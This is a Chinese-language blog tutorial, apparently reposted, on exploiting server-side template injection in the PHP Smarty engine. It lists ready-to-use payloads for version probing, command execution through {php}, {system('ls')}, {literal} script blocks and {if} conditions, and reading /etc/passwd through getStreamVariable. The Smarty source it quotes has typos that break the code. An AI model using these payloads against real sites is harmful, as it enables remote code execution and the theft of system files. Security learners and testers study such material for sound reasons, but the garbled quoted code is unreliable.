深入解析Smarty SSTI 利用
Eileen Seligman 2024-08-28 14:01:02 阅读 92
Smarty
Smarty是基于PHP开发的,对于Smarty的SSTI 的利用与常见的flask的SSTI有很大区别,了解过Jinjia2模板注入的应该知道,Jinjia2是基于python的,而Smarty是基于PHP的,所以使用起来还是比较容易地,我们只需要达到 命令执行即可
查看版本
<code>{$smarty.version}
常用标签
{php}
Smarty支持使用{php}{/php}标签来执行被包裹其中地命令,最常规地思路就是先测试该标签
{php}phpinfo(){/php}
不过Smarty已经废弃了{php}标签。在Smarty3.1,{php}仅可以在Smarty BC中使用。
直接输入命令即可
{system('ls')}
{literal}标签
官方手册这样描述这个标签
{literal}可以让一个模板区域的字符原样输出,这样常常用于保护页面上的JavaScript或者CSS样式表,避免因为Smarty的定界符而被错误解析
使用JavaScript语句进行命令执行,常见的变形语句:
<script language="php">phpinfo();</script>code>
当然这样的语法,在php5中可以使用,在PHP7中不可以使用。
因为**{literal}**中支持JavaScript语法,所以我们可以RCE
{literal}
<script language="php">phpinfo();</script>code>
{/literal}
调用静态方法
通过self获取Smarty类,再调用其静态方法实现文件读写
Smarty类的getStreamVariable方法的代码
public function getStreamVariable($variable) {
$_result = '';
$fp = fopen($variable,'r+');
if ($fp) {
while(!feof($fp) && (current_line = fgets($fp)) != false){
$_result .= $current_line;
}
fclose($fp);
return $_result;
}
$smarty = isset($this -> smarty)?$this->smarty : $this;
if($smarth->error_unassigned) {
throw new SmartyExcption('undefined stram variable ""'.$variable.'"');
}
else {
return null;
}
}
这个方法可以读取一个文件并返回其内容,所以我们可以使用self来获取smarty对象,并调用这个方法,很多文章里面给的payload都形如
{self::getStreamVariable("file:///etc/passwd")}
{if}
官方文档中这样描述
Smarty的{if}条件判断和PHP的if非常相似,只是增加了一些特性,每个{if}必须有一个配对的{/if},也可以使用{else}和{elseif},全部的PHP条件表达式和函数都可以在{if}内使用,比如|| 、 or 、 && 、 and 、is_array()等等,如{if_is_array($array)}{/if}*
既然全部的PHP函数都可以使用,那么我们可以是利用此来执行我们的代码
{if phpinfo()}{/if}
{if system('ls')}{/if}
声明
本文内容仅代表作者观点,或转载于其他网站,本站不以此文作为商业用途
如有涉及侵权,请联系本站进行删除
转载本站原创文章,请注明来源及作者。